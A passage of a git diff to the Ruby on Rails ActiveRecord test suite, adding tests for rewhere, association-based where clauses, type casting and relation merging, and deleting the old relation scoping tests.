+ relation = Post.where(title: 'hello').where(body: 'world').rewhere(title: 'alone')
+
+ assert_equal 2, relation.where_values.size
+
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+
+ assert_bound_ast value, Post.arel_table['body'], Arel::Nodes::Equality
+ assert_equal 'world', bind.last
+
+ value = relation.where_values.second
+ bind = relation.bind_values.second
+
+ assert_bound_ast value, Post.arel_table['title'], Arel::Nodes::Equality
+ assert_equal 'alone', bind.last
+ end
+
+ def test_rewhere_with_range
+ relation = Post.where(comments_count: 1..3).rewhere(comments_count: 3..5)
+
+ assert_equal 1, relation.where_values.size
+ assert_equal Post.where(comments_count: 3..5), relation
+ end
+
+ def test_rewhere_with_infinite_upper_bound_range
+ relation = Post.where(comments_count: 1..Float::INFINITY).rewhere(comments_count: 3..5)
+
+ assert_equal 1, relation.where_values.size
+ assert_equal Post.where(comments_count: 3..5), relation
+ end
+
+ def test_rewhere_with_infinite_lower_bound_range
+ relation = Post.where(comments_count: -Float::INFINITY..1).rewhere(comments_count: 3..5)
+
+ assert_equal 1, relation.where_values.size
+ assert_equal Post.where(comments_count: 3..5), relation
+ end
+
+ def test_rewhere_with_infinite_range
+ relation = Post.where(comments_count: -Float::INFINITY..Float::INFINITY).rewhere(comments_count: 3..5)
+
+ assert_equal 1, relation.where_values.size
+ assert_equal Post.where(comments_count: 3..5), relation
end
end
end
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
index 297e865308..a453203e15 100644
--- a/activerecord/test/cases/relation/where_test.rb
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -5,10 +5,30 @@ require 'models/treasure'
require 'models/post'
require 'models/comment'
require 'models/edge'
+require 'models/topic'
+require 'models/binary'
+require 'models/vertex'
module ActiveRecord
class WhereTest < ActiveRecord::TestCase
- fixtures :posts, :edges
+ fixtures :posts, :edges, :authors, :binaries
+
+ def test_where_copies_bind_params
+ author = authors(:david)
+ posts = author.posts.where('posts.id != 1')
+ joined = Post.where(id: posts)
+
+ assert_operator joined.length, :>, 0
+
+ joined.each { |post|
+ assert_equal author, post.author
+ assert_not_equal 1, post.id
+ }
+ end
+
+ def test_rewhere_on_root
+ assert_equal posts(:welcome), Post.rewhere(title: 'Welcome to the weblog').first
+ end
def test_belongs_to_shallow_where
author = Author.new
@@ -17,6 +37,21 @@ module ActiveRecord
assert_equal Post.where(author_id: 1).to_sql, Post.where(author: author).to_sql
end
+ def test_belongs_to_nil_where
+ assert_equal Post.where(author_id: nil).to_sql, Post.where(author: nil).to_sql
+ end
+
+ def test_belongs_to_array_value_where
+ assert_equal Post.where(author_id: [1,2]).to_sql, Post.where(author: [1,2]).to_sql
+ end
+
+ def test_belongs_to_nested_relation_where
+ expected = Post.where(author_id: Author.where(id: [1,2])).to_sql
+ actual = Post.where(author: Author.where(id: [1,2])).to_sql
+
+ assert_equal expected, actual
+ end
+
def test_belongs_to_nested_where
parent = Comment.new
parent.id = 1
@@ -27,6 +62,15 @@ module ActiveRecord
assert_equal expected.to_sql, actual.to_sql
end
+ def test_belongs_to_nested_where_with_relation
+ author = authors(:david)
+
+ expected = Author.where(id: author ).joins(:posts)
+ actual = Author.where(posts: { author_id: Author.where(id: author.id) }).joins(:posts)
+
+ assert_equal expected.to_a, actual.to_a
+ end
+
def test_polymorphic_shallow_where
treasure = Treasure.new
treasure.id = 1
@@ -37,6 +81,25 @@ module ActiveRecord
assert_equal expected.to_sql, actual.to_sql
end
+ def test_polymorphic_nested_array_where
+ treasure = Treasure.new
+ treasure.id = 1
+ hidden = HiddenTreasure.new
+ hidden.id = 2
+
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: [treasure, hidden])
+ actual = PriceEstimate.where(estimate_of: [treasure, hidden])
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_nested_relation_where
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: Treasure.where(id: [1,2]))
+ actual = PriceEstimate.where(estimate_of: Treasure.where(id: [1,2]))
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
def test_polymorphic_sti_shallow_where
treasure = HiddenTreasure.new
treasure.id = 1
@@ -67,6 +130,38 @@ module ActiveRecord
assert_equal expected.to_sql, actual.to_sql
end
+ def test_decorated_polymorphic_where
+ treasure_decorator = Struct.new(:model) do
+ def self.method_missing(method, *args, &block)
+ Treasure.send(method, *args, &block)
+ end
+
+ def is_a?(klass)
+ model.is_a?(klass)
+ end
+
+ def method_missing(method, *args, &block)
+ model.send(method, *args, &block)
+ end
+ end
+
+ treasure = Treasure.new
+ treasure.id = 1
+ decorated_treasure = treasure_decorator.new(treasure)
+
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: 1)
+ actual = PriceEstimate.where(estimate_of: decorated_treasure)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_aliased_attribute
+ expected = Topic.where(heading: 'The First Topic')
+ actual = Topic.where(title: 'The First Topic')
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
def test_where_error
assert_raises(ActiveRecord::StatementInvalid) do
Post.where(:id => { 'posts.author_id' => 10 }).first
@@ -82,6 +177,16 @@ module ActiveRecord
assert_equal 0, Post.where(:posts => {}).count
end
+ def test_where_with_table_name_and_empty_array
+ assert_equal 0, Post.where(:id => []).count
+ end
+
+ def test_where_with_table_name_and_nested_empty_array
+ assert_deprecated do
+ assert_equal [], Post.where(:id => [[]]).to_a
+ end
+ end
+
def test_where_with_empty_hash_and_no_foreign_key
assert_equal 0, Edge.where(:sink => {}).count
end
@@ -91,5 +196,35 @@ module ActiveRecord
assert_equal 4, Edge.where(blank).order("sink_id").to_a.size
end
end
+
+ def test_where_with_integer_for_string_column
+ count = Post.where(:title => 0).count
+ assert_equal 0, count
+ end
+
+ def test_where_with_float_for_string_column
+ count = Post.where(:title => 0.0).count
+ assert_equal 0, count
+ end
+
+ def test_where_with_boolean_for_string_column
+ count = Post.where(:title => false).count
+ assert_equal 0, count
+ end
+
+ def test_where_with_decimal_for_string_column
+ count = Post.where(:title => BigDecimal.new(0)).count
+ assert_equal 0, count
+ end
+
+ def test_where_with_duration_for_string_column
+ count = Post.where(:title => 0.seconds).count
+ assert_equal 0, count
+ end
+
+ def test_where_with_integer_for_binary_column
+ count = Binary.where(:data => 0).count
+ assert_equal 0, count
+ end
end
end
diff --git a/activerecord/test/cases/relation_scoping_test.rb b/activerecord/test/cases/relation_scoping_test.rb
deleted file mode 100644
index d318dab1e1..0000000000
--- a/activerecord/test/cases/relation_scoping_test.rb
+++ /dev/null
@@ -1,518 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/author'
-require 'models/developer'
-require 'models/project'
-require 'models/comment'
-require 'models/category'
-require 'models/person'
-require 'models/reference'
-
-class RelationScopingTest < ActiveRecord::TestCase
- fixtures :authors, :developers, :projects, :comments, :posts, :developers_projects
-
- def test_reverse_order
- assert_equal Developer.order("id DESC").to_a.reverse, Developer.order("id DESC").reverse_order
- end
-
- def test_reverse_order_with_arel_node
- assert_equal Developer.order("id DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).reverse_order
- end
-
- def test_reverse_order_with_multiple_arel_nodes
- assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).order(Developer.arel_table[:name].desc).reverse_order
- end
-
- def test_reverse_order_with_arel_nodes_and_strings
- assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order("id DESC").order(Developer.arel_table[:name].desc).reverse_order
- end
-
- def test_double_reverse_order_produces_original_order
- assert_equal Developer.order("name DESC"), Developer.order("name DESC").reverse_order.reverse_order
- end
-
- def test_scoped_find
- Developer.where("name = 'David'").scoping do
- assert_nothing_raised { Developer.find(1) }
- end
- end
-
- def test_scoped_find_first
- developer = Developer.find(10)
- Developer.where("salary = 100000").scoping do
- assert_equal developer, Developer.order("name").first
- end
- end
-
- def test_scoped_find_last
- highest_salary = Developer.order("salary DESC").first
-
- Developer.order("salary").scoping do
- assert_equal highest_salary, Developer.last
- end
- end
-
- def test_scoped_find_last_preserves_scope
- lowest_salary = Developer.order("salary ASC").first
- highest_salary = Developer.order("salary DESC").first
-
- Developer.order("salary").scoping do
- assert_equal highest_salary, Developer.last
- assert_equal lowest_salary, Developer.first
- end
- end
-
- def test_scoped_find_combines_and_sanitizes_conditions
- Developer.where("salary = 9000").scoping do
- assert_equal developers(:poor_jamis), Developer.where("name = 'Jamis'").first
- end
- end
-
- def test_scoped_find_all
- Developer.where("name = 'David'").scoping do
- assert_equal [developers(:david)], Developer.all
- end
- end
-
- def test_scoped_find_select
- Developer.select("id, name").scoping do
- developer = Developer.where("name = 'David'").first
- assert_equal "David", developer.name
- assert !developer.has_attribute?(:salary)
- end
- end
-
- def test_scope_select_concatenates
- Developer.select("id, name").scoping do
- developer = Developer.select('salary').where("name = 'David'").first
- assert_equal 80000, developer.salary
- assert developer.has_attribute?(:id)
- assert developer.has_attribute?(:name)
- assert developer.has_attribute?(:salary)
- end
- end
-
- def test_scoped_count
- Developer.where("name = 'David'").scoping do
- assert_equal 1, Developer.count
- end
-
- Developer.where('salary = 100000').scoping do
- assert_equal 8, Developer.count
- assert_equal 1, Developer.where("name LIKE 'fixture_1%'").count
- end
- end
-
- def test_scoped_find_include
- # with the include, will retrieve only developers for the given project
- scoped_developers = Developer.includes(:projects).scoping do
- Developer.where('projects.id' => 2).to_a
- end
- assert scoped_developers.include?(developers(:david))
- assert !scoped_developers.include?(developers(:jamis))
- assert_equal 1, scoped_developers.size
- end
-
- def test_scoped_find_joins
- scoped_developers = Developer.joins('JOIN developers_projects ON id = developer_id').scoping do
- Developer.where('developers_projects.project_id = 2').to_a
- end
-
- assert scoped_developers.include?(developers(:david))
- assert !scoped_developers.include?(developers(:jamis))
- assert_equal 1, scoped_developers.size
- assert_equal developers(:david).attributes, scoped_developers.first.attributes
- end
-
- def test_scoped_create_with_where
- new_comment = VerySpecialComment.where(:post_id => 1).scoping do
- VerySpecialComment.create :body => "Wonderful world"
- end
-
- assert_equal 1, new_comment.post_id
- assert Post.find(1).comments.include?(new_comment)
- end
-
- def test_scoped_create_with_create_with
- new_comment = VerySpecialComment.create_with(:post_id => 1).scoping do
- VerySpecialComment.create :body => "Wonderful world"
- end
-
- assert_equal 1, new_comment.post_id
- assert Post.find(1).comments.include?(new_comment)
- end
-
- def test_scoped_create_with_create_with_has_higher_priority
- new_comment = VerySpecialComment.where(:post_id => 2).create_with(:post_id => 1).scoping do
- VerySpecialComment.create :body => "Wonderful world"
- end
-
- assert_equal 1, new_comment.post_id
- assert Post.find(1).comments.include?(new_comment)
- end
-
- def test_ensure_that_method_scoping_is_correctly_restored
- begin
- Developer.where("name = 'Jamis'").scoping do
- raise "an exception"
- end
- rescue
- end
-
- assert !Developer.all.where_values.include?("name = 'Jamis'")
- end
-end
-
-class NestedRelationScopingTest < ActiveRecord::TestCase
- fixtures :authors, :developers, :projects, :comments, :posts
-
- def test_merge_options
- Developer.where('salary = 80000').scoping do
- Developer.limit(10).scoping do
- devs = Developer.all
- assert_match '(salary = 80000)', devs.to_sql
- assert_equal 10, devs.taken
- end
- end
- end
-
- def test_merge_inner_scope_has_priority
- Developer.limit(5).scoping do
- Developer.limit(10).scoping do
- assert_equal 10, Developer.all.size
- end
- end
- end
-
- def test_replace_options
- Developer.where(:name => 'David').scoping do
- Developer.unscoped do
- assert_equal 'Jamis', Developer.where(:name => 'Jamis').first[:name]
- end
-
- assert_equal 'David', Developer.first[:name]
- end
- end
-
- def test_three_level_nested_exclusive_scoped_find
- Developer.where("name = 'Jamis'").scoping do
- assert_equal 'Jamis', Developer.first.name
-
- Developer.unscoped.where("name = 'David'") do
- assert_equal 'David', Developer.first.name
-
- Developer.unscoped.where("name = 'Maiha'") do
- assert_equal nil, Developer.first
- end
-
- # ensure that scoping is restored
- assert_equal 'David', Developer.first.name
- end
-
- # ensure that scoping is restored
- assert_equal 'Jamis', Developer.first.name
- end
- end
-
- def test_nested_scoped_create
- comment = Comment.create_with(:post_id => 1).scoping do
- Comment.create_with(:post_id => 2).scoping do
- Comment.create :body => "Hey guys, nested scopes are broken. Please fix!"
- end
- end
-
- assert_equal 2, comment.post_id
- end
-
- def test_nested_exclusive_scope_for_create
- comment = Comment.create_with(:body => "Hey guys, nested scopes are broken. Please fix!").scoping do
- Comment.unscoped.create_with(:post_id => 1).scoping do
- assert_blank Comment.new.body
- Comment.create :body => "Hey guys"
- end
- end
-
- assert_equal 1, comment.post_id
- assert_equal 'Hey guys', comment.body
- end
-end
-
-class HasManyScopingTest< ActiveRecord::TestCase
- fixtures :comments, :posts, :people, :references
-
- def setup
- @welcome = Post.find(1)
- end
-
- def test_forwarding_of_static_methods
- assert_equal 'a comment...', Comment.what_are_you
- assert_equal 'a comment...', @welcome.comments.what_are_you
- end
-
- def test_forwarding_to_scoped
- assert_equal 4, Comment.search_by_type('Comment').size
- assert_equal 2, @welcome.comments.search_by_type('Comment').size
- end
-
- def test_nested_scope_finder
- Comment.where('1=0').scoping do
- assert_equal 0, @welcome.comments.count
- assert_equal 'a comment...', @welcome.comments.what_are_you
- end
-
- Comment.where('1=1').scoping do
- assert_equal 2, @welcome.comments.count
- assert_equal 'a comment...', @welcome.comments.what_are_you
- end
- end
-
- def test_should_maintain_default_scope_on_associations
- magician = BadReference.find(1)
- assert_equal [magician], people(:michael).bad_references
- end
-
- def test_should_default_scope_on_associations_is_overriden_by_association_conditions
- reference = references(:michael_unicyclist).becomes(BadReference)
- assert_equal [reference], people(:michael).fixed_bad_references
- end
-
- def test_should_maintain_default_scope_on_eager_loaded_associations
- michael = Person.where(:id => people(:michael).id).includes(:bad_references).first
- magician = BadReference.find(1)
- assert_equal [magician], michael.bad_references
- end
-end
-
-class HasAndBelongsToManyScopingTest< ActiveRecord::TestCase
- fixtures :posts, :categories, :categories_posts
-
- def setup
- @welcome = Post.find(1)
- end
-
- def test_forwarding_of_static_methods
- assert_equal 'a category...', Category.what_are_you
- assert_equal 'a category...', @welcome.categories.what_are_you
- end
-
- def test_nested_scope_finder
- Category.where('1=0').scoping do
- assert_equal 0, @welcome.categories.count
- assert_equal 'a category...', @welcome.categories.what_are_you
- end
-
- Category.where('1=1').scoping do
- assert_equal 2, @welcome.categories.count
- assert_equal 'a category...', @welcome.categories.what_are_you
- end
- end
-end
-
-class DefaultScopingTest < ActiveRecord::TestCase
- fixtures :developers, :posts
-
- def test_default_scope
- expected = Developer.all.merge!(:order => 'salary DESC').to_a.collect { |dev| dev.salary }
- received = DeveloperOrderedBySalary.all.collect { |dev| dev.salary }
- assert_equal expected, received
- end
-
- def test_default_scope_as_class_method
- assert_equal [developers(:david).becomes(ClassMethodDeveloperCalledDavid)], ClassMethodDeveloperCalledDavid.all
- end
-
- def test_default_scope_as_class_method_referencing_scope
- assert_equal [developers(:david).becomes(ClassMethodReferencingScopeDeveloperCalledDavid)], ClassMethodReferencingScopeDeveloperCalledDavid.all
- end
-
- def test_default_scope_as_block_referencing_scope
- assert_equal [developers(:david).becomes(LazyBlockReferencingScopeDeveloperCalledDavid)], LazyBlockReferencingScopeDeveloperCalledDavid.all
- end
-
- def test_default_scope_with_lambda
- assert_equal [developers(:david).becomes(LazyLambdaDeveloperCalledDavid)], LazyLambdaDeveloperCalledDavid.all
- end
-
- def test_default_scope_with_block
- assert_equal [developers(:david).becomes(LazyBlockDeveloperCalledDavid)], LazyBlockDeveloperCalledDavid.all
- end
-
- def test_default_scope_with_callable
- assert_equal [developers(:david).becomes(CallableDeveloperCalledDavid)], CallableDeveloperCalledDavid.all
- end
-
- def test_default_scope_is_unscoped_on_find
- assert_equal 1, DeveloperCalledDavid.count
- assert_equal 11, DeveloperCalledDavid.unscoped.count
- end
-
- def test_default_scope_is_unscoped_on_create
- assert_nil DeveloperCalledJamis.unscoped.create!.name
- end
-
- def test_default_scope_with_conditions_string
- assert_equal Developer.where(name: 'David').map(&:id).sort, DeveloperCalledDavid.all.map(&:id).sort
- assert_equal nil, DeveloperCalledDavid.create!.name
- end
-
- def test_default_scope_with_conditions_hash
- assert_equal Developer.where(name: 'Jamis').map(&:id).sort, DeveloperCalledJamis.all.map(&:id).sort
- assert_equal 'Jamis', DeveloperCalledJamis.create!.name
- end
-
- def test_default_scoping_with_threads
- 2.times do
- Thread.new { assert DeveloperOrderedBySalary.all.to_sql.include?('salary DESC') }.join
- end
- end
-
- def test_default_scope_with_inheritance
- wheres = InheritedPoorDeveloperCalledJamis.all.where_values_hash
- assert_equal "Jamis", wheres[:name]
- assert_equal 50000, wheres[:salary]
- end
-
- def test_default_scope_with_module_includes
- wheres = ModuleIncludedPoorDeveloperCalledJamis.all.where_values_hash
- assert_equal "Jamis", wheres[:name]
- assert_equal 50000, wheres[:salary]
- end
-
- def test_default_scope_with_multiple_calls
- wheres = MultiplePoorDeveloperCalledJamis.all.where_values_hash
- assert_equal "Jamis", wheres[:name]
- assert_equal 50000, wheres[:salary]
- end
-
- def test_scope_overwrites_default
- expected = Developer.all.merge!(:order => ' name DESC, salary DESC').to_a.collect { |dev| dev.name }
- received = DeveloperOrderedBySalary.by_name.to_a.collect { |dev| dev.name }
- assert_equal expected, received
- end
-
- def test_reorder_overrides_default_scope_order
- expected = Developer.order('name DESC').collect { |dev| dev.name }
- received = DeveloperOrderedBySalary.reorder('name DESC').collect { |dev| dev.name }
- assert_equal expected, received
- end
-
- def test_order_after_reorder_combines_orders
- expected = Developer.order('id DESC, name DESC').collect { |dev| [dev.name, dev.id] }
- received = Developer.order('name ASC').reorder('name DESC').order('id DESC').collect { |dev| [dev.name, dev.id] }
- assert_equal expected, received
- end
-
- def test_order_in_default_scope_should_not_prevail
- expected = Developer.all.merge!(:order => 'salary').to_a.collect { |dev| dev.salary }
- received = DeveloperOrderedBySalary.all.merge!(:order => 'salary').to_a.collect { |dev| dev.salary }
- assert_equal expected, received
- end
-
- def test_create_attribute_overwrites_default_scoping
- assert_equal 'David', PoorDeveloperCalledJamis.create!(:name => 'David').name
- assert_equal 200000, PoorDeveloperCalledJamis.create!(:name => 'David', :salary => 200000).salary
- end
-
- def test_create_attribute_overwrites_default_values
- assert_equal nil, PoorDeveloperCalledJamis.create!(:salary => nil).salary
- assert_equal 50000, PoorDeveloperCalledJamis.create!(:name => 'David').salary
- end
-
- def test_default_scope_attribute
- jamis = PoorDeveloperCalledJamis.new(:name => 'David')
- assert_equal 50000, jamis.salary
- end
-
- def test_where_attribute
- aaron = PoorDeveloperCalledJamis.where(:salary => 20).new(:name => 'Aaron')
- assert_equal 20, aaron.salary
- assert_equal 'Aaron', aaron.name
- end
-
- def test_where_attribute_merge
- aaron = PoorDeveloperCalledJamis.where(:name => 'foo').new(:name => 'Aaron')
- assert_equal 'Aaron', aaron.name
- end
-
- def test_scope_composed_by_limit_and_then_offset_is_equal_to_scope_composed_by_offset_and_then_limit
- posts_limit_offset = Post.limit(3).offset(2)
- posts_offset_limit = Post.offset(2).limit(3)
- assert_equal posts_limit_offset, posts_offset_limit
- end
-
- def test_create_with_merge
- aaron = PoorDeveloperCalledJamis.create_with(:name => 'foo', :salary => 20).merge(
- PoorDeveloperCalledJamis.create_with(:name => 'Aaron')).new
- assert_equal 20, aaron.salary
- assert_equal 'Aaron', aaron.name
-
- aaron = PoorDeveloperCalledJamis.create_with(:name => 'foo', :salary => 20).
- create_with(:name => 'Aaron').new
- assert_equal 20, aaron.salary
- assert_equal 'Aaron', aaron.name
- end
-
- def test_create_with_reset
- jamis = PoorDeveloperCalledJamis.create_with(:name => 'Aaron').create_with(nil).new
- assert_equal 'Jamis', jamis.name
- end
-
- # FIXME: I don't know if this is *desired* behavior, but it is *today's*
- # behavior.
- def test_create_with_empty_hash_will_not_reset
- jamis = PoorDeveloperCalledJamis.create_with(:name => 'Aaron').create_with({}).new
- assert_equal 'Aaron', jamis.name
- end
-
- def test_unscoped_with_named_scope_should_not_have_default_scope
- assert_equal [DeveloperCalledJamis.find(developers(:poor_jamis).id)], DeveloperCalledJamis.poor
-
- assert DeveloperCalledJamis.unscoped.poor.include?(developers(:david).becomes(DeveloperCalledJamis))
- assert_equal 10, DeveloperCalledJamis.unscoped.poor.length
- end
-
- def test_default_scope_select_ignored_by_aggregations
- assert_equal DeveloperWithSelect.all.to_a.count, DeveloperWithSelect.count
- end
-
- def test_default_scope_select_ignored_by_grouped_aggregations
- assert_equal Hash[Developer.all.group_by(&:salary).map { |s, d| [s, d.count] }],
- DeveloperWithSelect.group(:salary).count
- end
-
- def test_default_scope_order_ignored_by_aggregations
- assert_equal DeveloperOrderedBySalary.all.count, DeveloperOrderedBySalary.count
- end
-
- def test_default_scope_find_last
- assert DeveloperOrderedBySalary.count > 1, "need more than one row for test"
-
- lowest_salary_dev = DeveloperOrderedBySalary.find(developers(:poor_jamis).id)
- assert_equal lowest_salary_dev, DeveloperOrderedBySalary.last
- end
-
- def test_default_scope_include_with_count
- d = DeveloperWithIncludes.create!
- d.audit_logs.create! :message => 'foo'
-
- assert_equal 1, DeveloperWithIncludes.where(:audit_logs => { :message => 'foo' }).count
- end
-
- def test_default_scope_is_threadsafe
- if in_memory_db?
- skip "in memory db can't share a db between threads"
- end
-
- threads = []
- assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
-
- threads << Thread.new do
- Thread.current[:long_default_scope] = true
- assert_equal 1, ThreadsafeDeveloper.all.to_a.count
- end
- threads << Thread.new do
- assert_equal 1, ThreadsafeDeveloper.all.to_a.count
- end
- threads.each(&:join)
- end
-end
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
index 92dc575d37..3280945d09 100644
--- a/activerecord/test/cases/relation_test.rb
+++ b/activerecord/test/cases/relation_test.rb
@@ -1,19 +1,29 @@
require "cases/helper"
require 'models/post'
require 'models/comment'
+require 'models/author'
+require 'models/rating'
module ActiveRecord
class RelationTest < ActiveRecord::TestCase
- fixtures :posts, :comments
+ fixtures :posts, :comments, :authors
class FakeKlass < Struct.new(:table_name, :name)
+ extend ActiveRecord::Delegation::DelegateCache
+
+ inherited self
+
+ def self.connection
+ Post.connection
+ end
+
+ def self.table_name
+ 'fake_table'
+ end
end
def test_construction
- relation = nil
- assert_nothing_raised do
- relation = Relation.new FakeKlass, :b
- end
+ relation = Relation.new FakeKlass, :b
assert_equal FakeKlass, relation.klass
assert_equal :b, relation.table
assert !relation.loaded, 'relation is not loaded'
@@ -74,8 +84,8 @@ module ActiveRecord
end
def test_table_name_delegates_to_klass
- relation = Relation.new FakeKlass.new('foo'), :b
- assert_equal 'foo', relation.table_name
+ relation = Relation.new FakeKlass.new('posts'), :b
+ assert_equal 'posts', relation.table_name
end
def test_scope_for_create
@@ -109,6 +119,12 @@ module ActiveRecord
assert_equal({}, relation.scope_for_create)
end
+ def test_bad_constants_raise_errors
+ assert_raises(NameError) do
+ ActiveRecord::Relation::HelloWorld
+ end
+ end
+
def test_empty_eager_loading?
relation = Relation.new FakeKlass, :b
assert !relation.eager_loading?
@@ -169,101 +185,83 @@ module ActiveRecord
end
test 'merging a hash interpolates conditions' do
- klass = stub_everything
- klass.stubs(:sanitize_sql).with(['foo = ?', 'bar']).returns('foo = bar')
+ klass = Class.new(FakeKlass) do
+ def self.sanitize_sql(args)
+ raise unless args == ['foo = ?', 'bar']
+ 'foo = bar'
+ end
+ end
relation = Relation.new(klass, :b)
relation.merge!(where: ['foo = ?', 'bar'])
assert_equal ['foo = bar'], relation.where_values
end
- end
-
- class RelationMutationTest < ActiveSupport::TestCase
- class FakeKlass < Struct.new(:table_name, :name)
- end
- def relation
- @relation ||= Relation.new FakeKlass, :b
- end
-
- (Relation::MULTI_VALUE_METHODS - [:references, :extending]).each do |method|
- test "##{method}!" do
- assert relation.public_send("#{method}!", :foo).equal?(relation)
- assert_equal [:foo], relation.public_send("#{method}_values")
- end
+ def test_merging_readonly_false
+ relation = Relation.new FakeKlass, :b
+ readonly_false_relation = relation.readonly(false)
+ # test merging in both directions
+ assert_equal false, relation.merge(readonly_false_relation).readonly_value
+ assert_equal false, readonly_false_relation.merge(relation).readonly_value
end
- test '#references!' do
- assert relation.references!(:foo).equal?(relation)
- assert relation.references_values.include?('foo')
+ def test_relation_merging_with_merged_joins_as_symbols
+ special_comments_with_ratings = SpecialComment.joins(:ratings)
+ posts_with_special_comments_with_ratings = Post.group("posts.id").joins(:special_comments).merge(special_comments_with_ratings)
+ assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
end
- test 'extending!' do
- mod, mod2 = Module.new, Module.new
+ def test_relation_merging_with_joins_as_join_dependency_pick_proper_parent
+ post = Post.create!(title: "haha", body: "huhu")
+ comment = post.comments.create!(body: "hu")
+ 3.times { comment.ratings.create! }
- assert relation.extending!(mod).equal?(relation)
- assert_equal [mod], relation.extending_values
- assert relation.is_a?(mod)
+ relation = Post.joins(:comments).merge Comment.joins(:ratings)
- relation.extending!(mod2)
- assert_equal [mod, mod2], relation.extending_values
+ assert_equal 3, relation.where(id: post.id).pluck(:id).size
end
- test 'extending! with empty args' do
- relation.extending!
- assert_equal [], relation.extending_values
- end
-
- (Relation::SINGLE_VALUE_METHODS - [:from, :lock, :reordering, :reverse_order, :create_with]).each do |method|
- test "##{method}!" do
- assert relation.public_send("#{method}!", :foo).equal?(relation)
- assert_equal :foo, relation.public_send("#{method}_value")
- end
- end
+ def test_respond_to_for_non_selected_element
+ post = Post.select(:title).first
+ assert_equal false, post.respond_to?(:body), "post should not respond_to?(:body) since invoking it raises exception"
- test '#from!' do
- assert relation.from!('foo').equal?(relation)
- assert_equal ['foo', nil], relation.from_value
+ silence_warnings { post = Post.select("'title' as post_title").first }
+ assert_equal false, post.respond_to?(:title), "post should not respond_to?(:body) since invoking it raises exception"
end
- test '#lock!' do
- assert relation.lock!('foo').equal?(relation)
- assert_equal 'foo', relation.lock_value
+ def test_relation_merging_with_merged_joins_as_strings
+ join_string = "LEFT OUTER JOIN #{Rating.quoted_table_name} ON #{SpecialComment.quoted_table_name}.id = #{Rating.quoted_table_name}.comment_id"
+ special_comments_with_ratings = SpecialComment.joins join_string
+ posts_with_special_comments_with_ratings = Post.group("posts.id").joins(:special_comments).merge(special_comments_with_ratings)
+ assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
end
- test '#reorder!' do
- relation = self.relation.order('foo')
+ class EnsureRoundTripTypeCasting < ActiveRecord::Type::Value
+ def type
+ :string
+ end
- assert relation.reorder!('bar').equal?(relation)
- assert_equal ['bar'], relation.order_values
- assert relation.reordering_value
- end
+ def type_cast_from_database(value)
+ raise value unless value == "type cast for database"
+ "type cast from database"
+ end
- test 'reverse_order!' do
- assert relation.reverse_order!.equal?(relation)
- assert relation.reverse_order_value
- relation.reverse_order!
- assert !relation.reverse_order_value
+ def type_cast_for_database(value)
+ raise value unless value == "value from user"
+ "type cast for database"
+ end
end
- test 'create_with!' do
- assert relation.create_with!(foo: 'bar').equal?(relation)
- assert_equal({foo: 'bar'}, relation.create_with_value)
- end
+ class UpdateAllTestModel < ActiveRecord::Base
+ self.table_name = 'posts'
- test 'merge!' do
- assert relation.merge!(where: :foo).equal?(relation)
- assert_equal [:foo], relation.where_values
+ attribute :body, EnsureRoundTripTypeCasting.new
end
- test 'merge with a proc' do
- assert_equal [:foo], relation.merge(-> { where(:foo) }).where_values
- end
+ def test_update_all_goes_through_normal_type_casting
+ UpdateAllTestModel.update_all(body: "value from user", type: nil) # No STI
- test 'none!' do
- assert relation.none!.equal?(relation)
- assert_equal [NullRelation], relation.extending_values
- assert relation.is_a?(NullRelation)
+ assert_equal "type cast from database", UpdateAllTestModel.first.body
end
end
end
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
index 0cd838c0b0..fc9637a167 100644
--- a/activerecord/test/cases/relations_test.rb
+++ b/activerecord/test/cases/relations_test.rb
@@ -7,6 +7,7 @@ require 'models/comment'
require 'models/author'
require 'models/entrant'
require 'models/developer'
+require 'models/computer'
require 'models/reply'
require 'models/company'
require 'models/bird'
@@ -14,6 +15,7 @@ require 'models/car'
require 'models/engine'
require 'models/tyre'
require 'models/minivan'
+require 'models/aircraft'
class RelationTest < ActiveRecord::TestCase
@@ -42,6 +44,11 @@ class RelationTest < ActiveRecord::TestCase
end
def test_two_scopes_with_includes_should_not_drop_any_include
+ # heat habtm cache
+ car = Car.incl_engines.incl_tyres.first
+ car.tyres.length
+ car.engines.length
+
car = Car.incl_engines.incl_tyres.first
assert_no_queries { car.tyres.length }
assert_no_queries { car.engines.length }
@@ -60,7 +67,7 @@ class RelationTest < ActiveRecord::TestCase
def test_scoped
topics = Topic.all
assert_kind_of ActiveRecord::Relation, topics
- assert_equal 4, topics.size
+ assert_equal 5, topics.size
end
def test_to_json
@@ -81,14 +88,14 @@ class RelationTest < ActiveRecord::TestCase
def test_scoped_all
topics = Topic.all.to_a
assert_kind_of Array, topics
- assert_no_queries { assert_equal 4, topics.size }
+ assert_no_queries { assert_equal 5, topics.size }
end
def test_loaded_all
topics = Topic.all
assert_queries(1) do
- 2.times { assert_equal 4, topics.to_a.size }
+ 2.times { assert_equal 5, topics.to_a.size }
end
assert topics.loaded?
@@ -139,6 +146,21 @@ class RelationTest < ActiveRecord::TestCase
assert_equal relation.to_a, Topic.select('a.*').from(relation, :a).to_a
end
+ def test_finding_with_subquery_with_binds
+ relation = Post.first.comments
+ assert_equal relation.to_a, Comment.select('*').from(relation).to_a
+ assert_equal relation.to_a, Comment.select('subquery.*').from(relation).to_a
+ assert_equal relation.to_a, Comment.select('a.*').from(relation, :a).to_a
+ end
+
